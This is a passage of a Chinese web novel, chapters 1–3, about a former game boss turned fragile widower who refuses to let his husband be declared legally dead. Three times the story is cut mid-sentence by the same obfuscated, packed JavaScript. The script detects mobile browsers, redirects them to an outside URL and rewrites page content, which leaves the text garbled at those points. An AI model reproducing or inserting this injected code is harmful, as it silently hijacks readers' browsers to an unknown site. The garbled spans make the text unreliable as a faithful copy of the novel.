《守寡四年前夫诈尸了》 1. 第 1 章 “啊,我又死了……” 伽巧蜷在柔软的灰羊绒沙发里,像条失去梦想的咸鱼,懒洋洋翻了个身。 他裹着毛绒绒的厚毯子,只露出一双漂亮眼睛,幽怨地盯着屏幕中鲜红的‘Game Over’,背景光照亮微微蹙起的眉。 “什么破游戏呀……没有代肝果然不行,祝南屿怎么还不回家!” 声音软糯糯的,藏着没有自觉的、已经养成惯性的撒娇。 落地窗外,倾泻的暴雨如同天河决堤,黑夜中模糊了天与地的边界。 屋内光线亮澄澄的,空气弥漫着香甜味道,暖得让人昏昏欲睡。 沙发旁高度正正好趁手的茶几上,各种零食、水果、奶茶堆成小山。 鲜翠的青提每颗都剥得干干净净,拌上浓稠的希腊酸奶,再撒一些巧克力和坚果。旁边盘子里盛满了红石榴籽,每颗都被仔仔细细撕了白膜去了核。饱满的龙虾肉挑了虾线,用竹签串着,确保不让伽巧的手弄脏一点儿。 伽巧结婚以前哪有那么难伺候? 全都怪某个人,溺爱无度。 哪怕工作再怎么忙,也能抽出时间,极有耐心地坐在伽巧身旁当膝枕,一边听伽巧嘀嘀咕咕抱怨游戏太难打,一边用平常签九位数合同的手剥虾扒石榴。 好像伺候老婆是全天下最最最重要的事情。 茶几正中央,摆着一个造型独特的蛋糕。 蛋糕顶上用堆糖捏了两头身Q版小美人鱼,眯起左眼懒洋洋打哈欠,模样神似伽巧。 小人旁边插着‘2’和‘0’两根数字蜡烛。 墙边倚着一个比伽巧还高的巨大礼物盒,打着特别夸张的粉色蝴蝶结,也不知道里面装着什么鬼东西。 刚送来时,伽巧隔着包装盒,好奇地左敲敲右敲敲。 “这么大……难道是祝南屿1:1等身充气娃娃?”伽巧胡思乱想,险些把自己气了个半死,羞恼地踹了脚箱子底部,“说了多少遍,我不喜欢玩道具!!!” 悬挂的电子时钟幽幽显示:10月13,23:55。 距离伽巧二十岁生日,仅仅只剩五分钟。 早早做好生日布景的房间里,依然只有他形单影只,显得稍许……寂寞。 明明不久之前,伽巧最擅长一个人度过漫长时间。 他曾经是无限副本的原初NPC,接到的任务指令只有一个:在不被杀死的情况下,杀死出现在眼前的所有生物。 从拥有意识开始,无数次执行这则指令。 枯燥,机械,麻木,但完成度100%。 因为业绩过于突出(?)而凶名远播,被进入无限世界的玩家称为——灭世级别Boss。 伽巧以为自己必须永远守在那片虚无之地,直到被哪个玩家杀死。 却没料到,无限世界毫无征兆的崩塌。 天地倾覆,规则瓦解,万事归墟。 作为唯一存活的NPC,伽巧被强制送到所谓的‘现实世界’,变成除了姓名一无所有的18岁柔弱少年。 正当前·灭世级boss认真思考:凭自己的职业技能,‘当职业杀手’和‘抢银行’哪条道来钱更快时,遇到了祝南屿。 一个平平无奇(除了长得帅),普普通通(除了很有钱)的‘老实人’。 伽巧抱着随便玩玩的心态,假装成柔弱、娇气、离了男人活不下去的绿茶金丝雀,打算被祝南屿包养两三年,狠狠捞一笔钱退休养老。 计划很顺利,捞到了大把大把钱。 可问题在于,祝南屿在感情方面格外较真,非要讲究什么‘明媒正娶’,该有的流程一点不能少。 伽巧只好配合他那麻烦又古板的仪式感,恋爱半年,订婚半年,结婚到现在又是半年。 其实满打满算也才五百多天,与曾经度过的漫长时间相比毫无存在感。 等回过神来才惊觉,原本对人间冷暖不抱有任何期待的灭世级boss,已然变成一条衣来伸手饭来张口,游戏打不过朝老公喊‘菜菜、捞捞’的超级大咸鱼。从前能撕开钢筋铁骨的手,现在连没拧开的矿泉水瓶都要递给冤种老公。 甚至,伽巧慢慢学会了期待。 比如这次由祝南屿策划、反复强调、必须大办特办的二十岁生日。 伽巧没有时间流逝的概念,直到来到现实世界,才知道普通人还有‘生日’这种说法。 祝南屿特意推掉工作,提前结束出差,嘱咐伽巧乖乖等他回家一起庆祝。 可惜好事多磨,覆盖全省的特大暴雨导致飞往A市的航班全部停飞,祝南屿被迫滞留在几百公里之外的城市。 接到消息时,伽巧窝在沙发里蒙着被子,装出满不在乎的语气,“算了,一个生日而已。” 本来……也没打算庆祝。 是祝南屿一遍遍强调,才让他有了微乎其微的期待。 祝南屿不愿给了他期望又亲手扼杀,当即决定自己开车从高速绕到盘山公路,说什么都要赶在0点之前回家。 伽巧慢吞吞爬起来,裹着毯子光脚踩在毛绒绒的地毯上,抬眼看向电子时钟。 23:57 祝南屿到现在还没见人影。 客厅的巨幕电视突然亮起,新闻主持朗声播报: “受到极端天气的影响,S市到A市途中多段盘山公路容易发生泥石流或山体滑坡,交通部门提醒广大车主请勿冒险通行……” 几乎同时,手机屏幕忽然亮起,祝南屿发来一张照片: 盘山公路入口,远光车灯在漆黑的夜幕中掏出两个洞,连成线的雨丝将指示牌割得支离破碎。 伽巧感觉胸口发闷,没由来的烦躁。 他了结过太多生死,对生命消逝早已麻木,理应不会因为任何人而动容。 可祝南屿是他千挑万选、最完美的养老合伙人。脾气好,有耐心,温柔,情绪稳定,而且有钱长得帅。 如果他出意外的话…… ‘叩、叩、叩——’ 距离0点还有一步之遥,敲门声恰到好处打破寂静。 回来了! 伽巧悬着的心一轻,不顾从肩头滑落的毯子,赤着脚迈开轻盈的步子冲向玄关,唇角扬起自己都没有察觉的弧度。 手指搭上冰凉的门把手,迅速拧开。 “亲爱的,你怎么才回……” 开门同时,他笑盈盈张开手臂,准备扑进那个熟悉的拥抱。 触碰到的瞬间,时间仿佛在此刻静止。 怀中的触感冰冷、坚硬、硌得他左胸第二根肋骨生疼。 四周陷入无尽黑暗,唯有一束惨淡的月光,笼罩着他。 伽巧缓慢低下头,看向自己紧紧抱住的东西—— 那是一块冰冷方正的石碑。 凄冷月光从自己怀中空隙洒落,模模糊糊照亮石碑上鬼森森的七个字。 亡夫祝南屿之墓 “!!!” 伽巧蓦地从睡梦中睁开眼睛,瞳孔暂时失焦,张开嘴无声地大口大口呼吸。 屋外淅淅沥沥的雨声忽大忽小,压得他久久缓不过气,脑海中闪过无数支离破碎的画面。 伽巧左手按住胸口坐起,右手下意识伸向旁边柜子,徒然地想要握紧什么。 ‘咔嚓——’ 质地坚硬的陶瓷摆件,被他无意识捏得粉碎,发出巨大声响。 伽巧惊得身子轻颤一下,才算彻底清醒,慢慢看向悬挂在墙上的电子钟。 20xx年9月13日。 距离祝南屿暴雨夜开车冲下盘山公路那天,已经过去三年又11个月。 伽巧闭了闭眼,抬手按住眉心,尽可能平复情绪。 屋外传来急促的脚步声,紧接着是两声克制的敲门,随即房门被人轻轻推开。 管家鹿珉快步跑到床边,一张与年龄不符的娃娃脸写满担忧,试探着伸手拍了下伽巧的肩。 祝南屿离世将近四年,期间一直由鹿珉负责管理家中事务,同时照顾伽巧的日常起居。 选中他的理由很简单,鹿珉任劳任怨,细致专业,而且字面意义的‘守口如瓶’。 ——他是个哑巴。 伽巧慢吞吞睁开眼睛,看向鹿珉。 鹿珉缩回手,用伽巧能够理解的简单手语比划‘又下雨了,你没事吧’。 “没事。” 伽巧眼底无波无澜,用一如既往的平淡且虚弱的语气回答: “做了个无关紧要的梦罢了。” 鹿珉目光扫过床头柜和地板洒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422936|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落的陶瓷残骸,碎得比平常更严重。 无关紧要……吗? 沉默几秒,鹿珉将双手举过头顶张开又攥紧,模仿兔子抖耳朵的样子,同时歪了下头。 ‘真的没事吗?’ “嗯。”伽巧恢复平静,“不用安慰,我已经习惯了。” 意料之中的冷漠回答。鹿珉认命地叹了口气,用口袋里拿出行程本,匆匆写下几个字,举到伽巧面前。 ‘有客人来拜访。’ “知道了。”伽巧掀开被子,走向衣帽间,“让他们再等几分钟,我换好衣服就去。” 路过衣帽间与主卧相连的墙角,目光掠过杵在墙角的巨大礼物盒,目光有一瞬恍惚。 包装纸已经泛黄卷边,粉色蝴蝶结依然保持最初的状态。 他低头,轻轻踢了踢盒子底端,声音轻得只有自己能听见: “还不如送充气娃娃。” . 陈彩彩是刚分配到市中心派出所户籍室的管理员,这些天主要由前辈张哥带着熟悉工作。 户籍管理员的主要工作包括办理户籍、迁入迁出、以及注销户籍。 前两项都好处理,‘注销户籍’意味着宣判该公民法律层面的死亡。因此经常遇到亲属悲伤过度,迟迟不肯注销逝者户籍的情况。 辖区老前辈觉得发短信太没有人情味,通常都会登门劝慰。 “张、张哥!”陈彩彩蹬着共享单车,气喘吁吁问前面的张哥,“这、这边离市区七十多公里,也算咱们辖区吗?” 张哥乐呵呵回头,“这片地方不算,但只要人是咱辖区的,我们就得负责到底!” 陈彩彩两条腿差点蹬出火星子,眼前终于出现一栋气派的别墅,藏在山林间遗世独立,宛如暴风雪山庄绝佳取景地。 张哥走到门口轻轻敲了两下,里面没有发出任何动静,大门却悄无声息的打开一条黑洞洞的缝,吓得陈彩彩后背窜起一股凉气。 “张、张哥……”陈彩彩颤着声问,“注销户口这事……确定是跟活人谈吧?” “这不是废话嘛?难道指望死者亲自去派出所销户?哈哈哈!” 陈彩彩默念‘为人民服务’和‘南无阿弥陀佛’,壮着胆子走进别墅。 进了门,才看到门厅站着一个圆脸大眼睛、身穿管家制服的人,手里举着线圈本,上面写着四个工整大字: ‘欢迎光临’。 鹿珉对上陈彩彩惊魂未定的视线,眨巴眨巴大眼睛,将线圈本翻过一页。 ‘我家主人正在午睡,请两位到客厅稍坐片刻,我为你们准备了茶和点心。’ 接着又翻第三页: ‘抱歉,我是个哑巴,无法叫醒主人。他不会睡太久,醒来之后我会立刻通知。’ 鹿珉鞠了个躬,引导他们走进客厅,心里暗想:幸好我是个哑巴。 否则,阴雨天吵醒伽巧,被捏碎的就是自己的头盖骨了。 张哥和陈彩彩坐下没多久,外面雨势慢慢大了起来。 鹿珉听到噼里啪啦的雨声,似乎得到什么讯号,匆匆跑向别墅的主卧。 约莫又过了五分钟,走廊尽头传出极轻的脚步声。 陈彩彩赶紧擦擦嘴角的糕点残渣,摆出职业化的微笑。 一抬头,目光怔住—— 来人打扮非常端庄得体,苍白的脸精致瑰丽,墨黑长发拢在右肩,发尾系了一条纯白缎带。 整个人像春日里将而未融的雪,美好却容易消逝。 “张警官,好久不见。”伽巧向张哥微微颔首,目光投向旁边的陈彩彩,“这位是新来的管理员吗?” “对,她叫陈彩彩。”张哥介绍完,语气难得变得磕磕巴巴,“我这次带她过来,主要为了熟悉户籍室的工作。另外就是,顺便提醒你吧……那个……” 伽巧端端坐在他们对面,眉眼沉静如一潭深水,安安静静等他把说说完。 “那个……”张哥避开伽巧的视线。 陈彩彩以为张哥记不清要说什么事,连忙从包里翻出档案袋,一本正经通知道: “按照意外失踪两年时限、自然失踪四年时限计算,已经可以认定祝南屿先生死亡。请亲属于30天内到户籍所属地的派出所,办理销户手续。” 2. 第 2 章 最开始见到伽巧时,谁也没料到事情会变得这么难搞。 记得出事那天,伽巧接到通知,来辖区派出所确认监控录像。 雨夜寒凉,青年身上只穿了件单薄的白衬衫,发丝被雨水淋透,白皙脚踝不知被什么划出几道血印,明显是匆匆忙忙赶过来的。 那张美丽的脸却极其淡漠,安静地看着屏幕中的车子坠落山崖,全程连睫毛都未曾颤动一下,仿佛里面的人与自己无关。 “没错,车里的人是我丈夫。” “两个小时前,他给我发了实时照片,应该是这条盘山公路的入口。” 伽巧冷静地陈述,字字清晰,离开时还留下一个蛋糕请大家分着吃。 众人这才知道,那天是他20岁生日。 没过多久,伽巧如同早就计划好一样,迅速搬离与祝南屿的婚房,同时接管祝南屿创办的公司,成为代任董事长。 这一连串举动太可疑,警方不得不将伽巧列为嫌疑人。 ——才结婚短短半年,祝南屿就出事了,‘恰好’留下遗嘱指名伽巧继承所有遗产。 监控画面显示,祝南屿平稳驶过最崎岖的山路,却在给伽巧发出消息后失控般冲出山崖,连《名侦探柯南》都不敢这么拍。 然而经过几轮深入调查,警方排除了伽巧的嫌疑。 他没有作案时间,更缺乏作案动机。 调查显示,祝南屿婚前没有进行财产公证,所有身家都属于婚后共同财产,那份遗嘱更是领证当天便交给律师了。 无论生前还是死后,祝南屿都为妻子做了万全的打算。 “对我而言,活着的祝南屿更有价值。”伽巧接受测谎时,表现出近乎冷酷的理性,“我没有必要大费周章杀死他。” 最终,事件以意外结案。 虽然调查结束了,但搜救工作仍在进行。 奇怪的是,警方前前后后出动了五支搜救队,对祝南屿坠崖附近的山路进行地毯式搜索,却只找到一部分车辆残骸。 整个搜救过程持续两个月,连祝南屿留下的血迹都没有找到。此事还被当地村民列为怪谈,谣传那条山路吃人不吐骨头。 按照法律规定,遭遇意外而下落不明的公民,超过两年就会被认定为死亡。 从车子坠崖时的速度和山崖高度判断,祝南屿生还可能性无限趋近于0。 到了规定时限,张哥第一次登门劝伽巧办理销户手续。 “证据呢?”伽巧语气温和,却毫无回转余地,“给我看看祝南屿死掉的证据,我立刻办理销户。” “……”张哥哑然。 他见过太多不愿接受伴侣死讯的未亡人,有的悲痛欲绝恨不得以身殉情,有的神神叨叨试图通过灵媒师跟死者建立连接。 伽巧跟那些人不同,正常的生活,正常的工作,将祝南屿的痕迹从生活中清除。 可每次提起给祝南屿办理死亡手续,眼底总会泄露出细微的抗拒。 那个雨夜,坠崖的是祝南屿,埋葬的却是活生生的伽巧。 “……据我了解,您是祝南屿先生唯一指定的遗产继承人。只要按照流程办理销户手续,祝先生名下的财产全部归你所有。” 客厅里,陈彩彩拿出这些天耳濡目染的本事,努力劝说伽巧: “而且不销户的话,也没办法更改您的婚姻状态,会影响下次结婚的!” 伽巧端起茶杯的手顿了顿,吩咐道,“鹿珉,给小陈警官再上几盘茶点。” “啊?不用不用,您太客气了!”陈彩彩以为伽巧要感谢自己,受宠若惊,连忙摆摆手,“都是我应该做的!您不把婚姻状况改成丧偶,下次结婚就要按重婚罪处理了!” 张哥听了这话,人已经有点死了,心想自己怎么带出这个傻徒弟。 给茶点是表扬你吗?明明是为了堵住你的小嘴巴! 净说人家不爱听的话!!! 分别调查过伽巧和祝南屿后,张哥早已经看透。 嫁给过祝南屿那样的人,伽巧往后余生,眼里怎么容得下其他。 鹿珉很快从厨房拿来糕点和水果,一看就是陈彩彩工资无法实现畅吃的高级货,勾得她忍不住咽口水,又不好意思在别人家里表现得像个饿死鬼。 正当她脑子里食欲和理智打架之际,鹿珉轻轻拍了拍她肩膀,举起线圈本: ‘这些都是别人送的,我家主人不喜欢吃,请尽情享用。’ “真的吗?那我开动了!”陈彩彩拿起桌上的蛋黄酥塞进嘴里,余光偷偷瞥向伽巧,确实一副不食人间烟火的模样。 伽巧那样高贵的人,私下一定很自律,很难想象他吃这种高糖高油的‘垃圾食品’。 张哥见陈彩彩完全沦为美食的俘虏,只能硬着头皮亲自上阵。 “伽巧啊,咱们也打了两年交道。等小陈适应工作后,我就要调走了。” 伽巧唇角扬起弧度,笑意未达眼底,“恭喜张警官高升。” “谢谢。”张哥挠挠头,开始打感情牌,“你也知道,如果你不申请销户,户籍室无法处理。我这边……后续工作很难交接啊。我跟你耗多久都无所谓,别影响年轻人的前途。” 伽巧端起茶杯,浅浅抿了一口,抬眼重新看向他们,眼底闪过转瞬即逝的波动。 “如果销户之后,他再回来,怎么处理?” 陈彩彩恰好学过这个知识点,咽下嘴里的蛋黄酥抢答,“一般来说,销户之后失踪者主动回家的案例很少。如果发生的话,首先要办理户籍恢复手续,然后把失踪期间代为保管的财产如数奉还。” 伽巧耐着性子等她说完,继续问,“婚姻状态呢?” “啊?”陈彩彩触及到知识盲区,求救般看向张哥。 “这个没办法,婚姻状况会自动解除。”张哥叹了口气,代为回答,“有的人失踪太久,回来时伴侣已经再婚了。就算没有再婚,法律上也不认可,需要重新办结婚证。” “这样。” 伽巧听懂了。 一旦销户,唯独自己会被彻底切割。 “我会在期限内办理的。” . 深夜,受雇于祝家的私人医生周川柏匆匆赶来。 鹿珉已经给伽巧测过体温,38.2℃。 “烧得不算高,先把这服药吃了,然后每隔两小时测一次体温。如果明早没有退烧,再试试打退烧针。” 周川柏从巨大的医药箱里,快速找出对伽巧最管用的退烧药,动作熟练地让人心疼。 “咳、咳咳。” 伽巧半倚半靠坐在床边,气息奄奄,每声咳嗽都带着胸腔共鸣,仿佛下一秒就能咳出血。 “周医生,辛苦你跑一趟。” 为了防止他的‘职业技能’威胁现实世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422937|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伽巧身子骨比普通人柔弱许多,病起来症状也更加严重。 最糟糕的是,伽巧曾经有极强的毒抗性,导致现实世界的药物效力微乎其微。 “难受就少说两句话。”周川柏翻开伽巧的病历,发现距离上次出诊还不到十天,忍不住发牢骚,“明知道自己降温容易感冒,不能稍微注意点吗?!” 周川柏在祝家当了十多年家庭医生,跟祝南屿私交挺好,所以看到伽巧生病就控制不住怨气。 ——因为他从前见到的伽巧,被祝南屿照顾得极好。 天气稍微转凉就会把屋里烘得暖洋洋,每晚替伽巧盖好几次踢开的被子。 跟祝南屿在一起的那两年,纵使伽巧身子骨弱,也没怎么生过病。 故交捧在掌心还嫌不够的人,现在却把自己糟践成这样。 周川柏哪能不生气?! 伽巧垂下眼帘,“抱歉。” 吃了药,周医生嘱咐他好好休息。 伽巧蒙着被子躺下,脑袋昏昏沉沉,不知道感冒药起作用还是烧得更严重了,翻来覆去怎么也睡不着。 比起痛苦,生病所带来的,更多是磨人的回忆。 19岁那年的冬天,A市下了好大一场雪。 清晨醒来,积雪覆盖整座城市,放眼望去一片银装素裹。 伽巧原本所处的空间没有四季变化,第一次见到雪,兴奋地像个南方人,非要冲出去跟大自然零距离接触。 在雪地里玩到不知天地为何物,踩脚印、团雪球、堆雪人…… 结果还没到晚上,伽巧身体开始发烫,吃了药也不见缓解。 祝南屿把人严严实实抱在怀里充当天然暖炉,用冰毛巾物理降温,折腾到半夜依然没有退烧的迹象。 “娇娇,看看我。”祝南屿揉揉伽巧露在外面的头发,轻声唤他。 ——有次伽巧忙着打游戏,祝南屿企图‘争宠’,连名带姓叫了好几十声,发现‘伽巧’读快了会变成‘jiao’。 从那以后,他私下里一直叫‘娇娇’,伽巧抗议好几次都没有用。 “嗯?”伽巧难受地吸了吸鼻子,从被子里探出毛茸茸的脑袋,费劲地睁开眼看向祝南屿。 高烧让他脸颊红扑扑,眼底泛着雾蒙蒙的水光,比平时更加可爱好欺负。 祝南屿伸手抚摸伽巧滚烫的脸,倾身靠过来,轻轻啄吻他饱满的唇珠。 “娇娇,张嘴。”祝南屿声音低沉,带着几分蛊惑。 伽巧烧糊涂了,身体比脑子转得快,配合地张开嘴巴。 祝南屿立刻深深吻了过来,带着薄荷香气温柔地探入唇齿,吻得伽巧软软地发出呜咽,快要喘不过气。 “唔唔……”伽巧虚弱地推开他,脸色更红,轻轻捶了下祝南屿的肩膀,“你要趁热来一发吗?我现在病了……” “我在你眼里那么畜牲?”祝南屿低笑,下巴蹭着伽巧的发顶,“我听说,只要把感冒病毒传染给别人,就会很快好起来。” “真的吗?”伽巧只用了0.1秒就接受这个毫无科学依据的说法,仰起滚烫的脸主动凑过去,“那再亲一下。” ——想起来了,以前每次感冒,都会故意把病毒传染给祝南屿。 如今再没有人替自己病一场。 伽巧用棉被裹住发冷的身体,轻声喃喃: “大概不会退烧了。” 3. 第 3 章 37.9℃。 烧退了一点,但没有完全退。 “很好,病情没有恶化。”周川柏翻看伽巧夜间记录的体温变化,稍稍松了口气,“这已经是目前效果最明显的退烧药,建议你再吃两副观察情况。” 给这位祖宗当了五年多的私人医生,周川柏清楚伽巧的体质多么脆弱又难搞。 大部分药品顶多吃两次就会产生抗性,能用的药物越来越少。 如果所有退烧药失去效果,只能依赖注射,多来几次迟早也会没用。 到时候,伽巧再次发烧,只能依靠身体素质扛过去。 呵呵,他那个身体素质? 差得要死。 “谢谢周医生。” 即使病恹恹的,伽巧的作息依然规律,准时六点半起床吃早餐。 因为发烧没什么胃口,勉强喝了两口白粥,愁得鹿珉原地转圈圈。 刚过七点,鹿珉忧心忡忡地目送伽巧走进书房,开始今天的工作。 书房是完全的中式风格,古朴而清雅。 宽大的雕花木窗外面,有一片茂密的竹林,濛濛细雨打在竹叶上沙沙作响。 书桌上三面显示屏已经亮起,进入远程会议模式。 祝南屿意外坠崖后,伽巧接管他一手创立的千合集团,成为代理董事长。 千合集团主要涉及电子数码、网络科技、人工智能等等领域。 伽巧并非科班出身,无法参与核心运作,因此把公司交给祝南屿以前的旧部负责研发与经营。 在外界眼中,他不过是个临危受命的、无能的漂亮傀儡。 即使如此,有些场合必须由伽巧亲自出席。 “慈善晚宴?” “对。”执行助理通过线上APP,向伽巧解释,“这场晚宴优先级很高,主办方把邀请函寄到公司,点名要求董事长参加。” 纵然伽巧不干涉公司运转,依然是名义上的代理董事长,拥有最高的决策权。 伽巧问,“什么样的晚宴?” “名义上是为了罕见病的研发与攻克进行募捐。邀请了许多明星前来进行公益演出,据说演出和募捐会开启网络直播。” 听到‘开直播’,伽巧轻轻蹙眉,“必须参加吗?” 伽巧并非什么公众人物,但每次露面都会引发喋喋不休的讨论。 无数人借着‘吃瓜’的名义恶意揣测,提出各种各样的阴谋论。 仿佛死了老公是他命里最大的成就。 搬到荒郊野岭之后,除了处理工作,伽巧连智能手机都懒得用。 “也不是必须参加……”执行助理语气为难,“只不过,这场晚宴特别邀请的嘉宾Lanner,背后有庞大的外资作为支撑。第四季度有个重要的合作项目,公司很需要这次机会。” 伽巧沉默片刻,纤长睫毛覆住眼睛,掩饰所有情绪。 “知道了。” . 市中心,慈善晚宴会场,衣香鬓影一片纸醉金迷。 最近几年,越是顶尖的权贵越喜欢大张旗鼓做慈善。 倒不是因为他们喜欢给穷人‘撒币’,而是为了扯着慈善的遮羞布,合法避税之余又能树立社会形象,被爆出黑料还能拿出来当做免死金牌。 宴会厅内,稍微有点身份的人都想挤进来扩展人脉,尽显名利场的众生相。 主办方按照身价权势,将宾客分为三六九等安排位置,每个座位前提前摆好姓名牌,生怕有谁‘钱不配位’。 商圈新贵汪椋摇晃红酒杯嘴唇像染着鲜血,身后还跟着几个抗瀣一气的‘兄弟’。 经过位置靠后的圆桌,目光扫过桌上的姓名牌,汪椋停住脚步露出别有深意的嗤笑。 “七排九座,千合集团代理董事长伽巧。”汪椋拿起姓名牌,如同展示什么稀罕物件,拿给周围人传阅,“排在这种犄角旮旯,连请来暖场的三线明星都不如。” 这话如同扔一块石头砸进粪坑溅开屎味的涟漪,惹得旁边几只苍蝇臭味相投的凑过来,围着那张格格不入的姓名牌嗡嗡嗡。 “哎呦喂,不是吧?千合竟然没落到这种地步啦?” “就算这些年千合市值没什么波动,也不该排的这么靠后吧?” “那得看当家掌舵的是谁。如果祝董还在,哪怕公司只剩个空壳也能坐到第一排。可惜啊可惜,他英年早逝,让公司落到结婚半年的小寡夫手里。” “那个小寡夫真够作的,当初祝南屿还活着,可没少被折腾,婚礼每样东西都需要订做,婚戒更是直接买断了澳洲矿源,从几百块原石中选他喜欢的。” “啧啧啧,活该伽巧当寡夫。我听说祝南屿那条命就是让他活生生克死的,要不是小寡夫闹着非要过二十岁生日……” 瞥见窗外闪过的车影,议论声戛然而止。 酒店外,一辆黑色商务车远远驶来,划开茫茫雨幕。 身穿制服的司机率先下车,从车门内部抽出一柄宽大黑伞,撑起隔绝绵绵细雨,这才恭敬的拉开后排车门。 车内,一双素净纤弱的手缓缓探出来,轻轻搭住司机的小臂。 顺着那双手看过去,一把玲珑腰身轻得不堪盈握。墨黑如瀑的长发在后腰处束起发尾,扎着一条纯白的缎带。 祝南屿遭遇意外后,伽巧无论出席什么场合,发间总带着一抹哀戚的白。 圣洁,凄艳,贞烈。 酒店内远远眺望的众人,尚未隔着雨幕看清美人的面容,先被伽巧那一抹细腰晃了眼迷了神。 通往宴会厅前还有几道台阶,一阵风过吹斜了雨丝。 伽巧停在那儿轻轻咳嗽两声,肩膀如同轻盈的蝶翼,颤得人心尖发痒。 宴会厅内立刻冲出一个西装革履的绅士,抽出雨伞三两步跑到伽巧身边,不由分说挤开司机大献殷勤,“祝夫人,雨夜路滑,我扶你进去吧?” 伽巧闻声,抬眼看向他。 鸦羽般的长睫下,澄澈眼眸仿佛秋月春水,莹白肌肤因为低烧染了一抹恰到好处绯红,瞧得那位绅士目不转睛,神魂颠倒。 “谢谢,不必。”伽巧推开意图搀扶的手,挺起看似脆弱易折的腰背,踏着细雨一步步拾阶而上。 才短短几层台阶,却好似耗尽了体力。 伽巧进入喧嚣鼎沸的宴会厅,迎着或垂涎、或怜悯、或不怀好意的目光,径自坐到主办方刻意安排的角落位置,请侍者撤掉面前的香槟送来一杯温水。 聒噪的苍蝇嗡嗡频率更高,从四面八方隐隐传入伽巧耳中。 “虽然早就听说小寡夫败家又克夫,但这张脸真是……美丽极了。难怪祝南屿那样的人物,也被他迷得晕头转向。” “我记得他19岁就守了寡,这些年独守空房一定很寂寞吧?我要是娶了他,岂不是祝南屿留下的遗产也归我了!” “那么一大笔遗产,你能打理过来吗?不如让我上!” 伽巧端起装有温水的香槟杯,眼睫投下淡淡的黑影,仿佛没听见那些污言秽语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422938|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>汪掠见状,大摇大摆走过来,用手中的红酒碰了下他的杯子。 几点血红的液体溅入温水,缓缓晕开沉底。 “……”伽巧不着痕迹皱了下眉,用余光打量来人。 自己曾经陪祝南屿出席生意场合,见过汪掠几次。 此人早些年创业无门到处求爷爷告奶奶,后来侥幸得到祝南屿赏识,指点他抓住风口借势而起。 如今公司刚有起色,便以‘商界新贵’自居,高调出席各种上流场合,打扮得像个花孔雀处处开屏炫耀。 “伽巧,我们又见面了。”汪掠语气故作熟络,“你还记得我吗?” “你是……?” “我叫汪掠,是汪洋科技的CEO。”汪掠报上姓名,补充道,“大约五六年前,我刚开始创业,还是祝董跟我签了第一笔大订单。” 伽巧避开视线,语气客气而疏离,“南屿很少跟我提起生意场上的事。” “……我当初只是个无名小卒,祝董没提过也正常。”汪掠碰了个软钉子,语气明显生硬,虚张声势的显摆,“我后来撞了大运,生意做得风生水起。虽然现在比不上祝氏,过两年肯定能后来居上。” 汪掠刻意咬重‘现在’两个字,提醒伽巧审时度势。 伽巧侧过脸,目光轻飘飘落在他脸上,唇角弯起极淡的弧度,“那真是恭喜了。” 这声‘恭喜’听得汪掠心旷神怡,虚荣心得到极大满足。 他得寸进尺的凑过去,手搭在伽巧的椅背上,形成近乎环抱的姿势,语气愈发暧昧轻佻,“我能有今天,还要仰仗祝董当年慧眼识珠。既然他已经死了,你遇到难处尽管跟我说,我肯定替祝董……好好照顾你。” 伽巧没有言语,静静盯着面前香槟杯中沉底的淡红。 这杯水不能喝了,真浪费。 汪掠显然将伽巧的沉默理解为默许或者羞怯,目光贪婪地流连于伽巧的侧脸和脖颈,大头完全被小头控制。 “说起来,祝董死得太不是时候了,让你这么年轻就……” “……”伽巧握住酒杯的指尖微微一紧,不等他说完便起身,“我有点闷。” 说罢,他低头看向汪掠,眼底闪过柔弱又带着几分撩拨的神色,天生娇气的嗓音又轻又软。 “去外面透透气。” “好,好,透透气。”汪掠目光恨不得黏在他脸上,自作多情把那道勾人的目光当成某种暗示,顿时心花怒放。 看着伽巧走向阳台,便迫不及待跟了过去。 宾客都聚集在宴会厅内,空旷的露天阳台飘着几点细雨,夜风瑟瑟。 伽巧轻轻推了下门,将阳台与人来人往的内场隔绝,身影隐没于无边无际的阴影中。 汪掠火急火燎走到阳台,眼睛还没有适应黑暗,就听到一声清脆的碎裂声。 只见伽巧纤细的手腕握住杯子,在阳台栏杆上轻轻一磕,精致的水晶杯壁立刻碎成参差不齐的尖锐锯齿状。 “伽巧?你……” 汪掠正想问伽巧摔杯子做什么,却见对方猛地转过身,动作快到掠出残影。 电光火石间,用无法挣脱的力道扯住汪掠领带往前一拽,同时屈起的膝盖重重顶在腹部。 汪掠感受到剧烈的疼痛和眩晕,回过神,整个人已经被按住后颈压到栏杆之外。 “你刚才说。” 伽巧微微俯身,冷冷凝视对方青紫的脸,轻柔嗓音带着来自地狱般的残酷。 “谁死得不是时候?” 4. 第 4 章 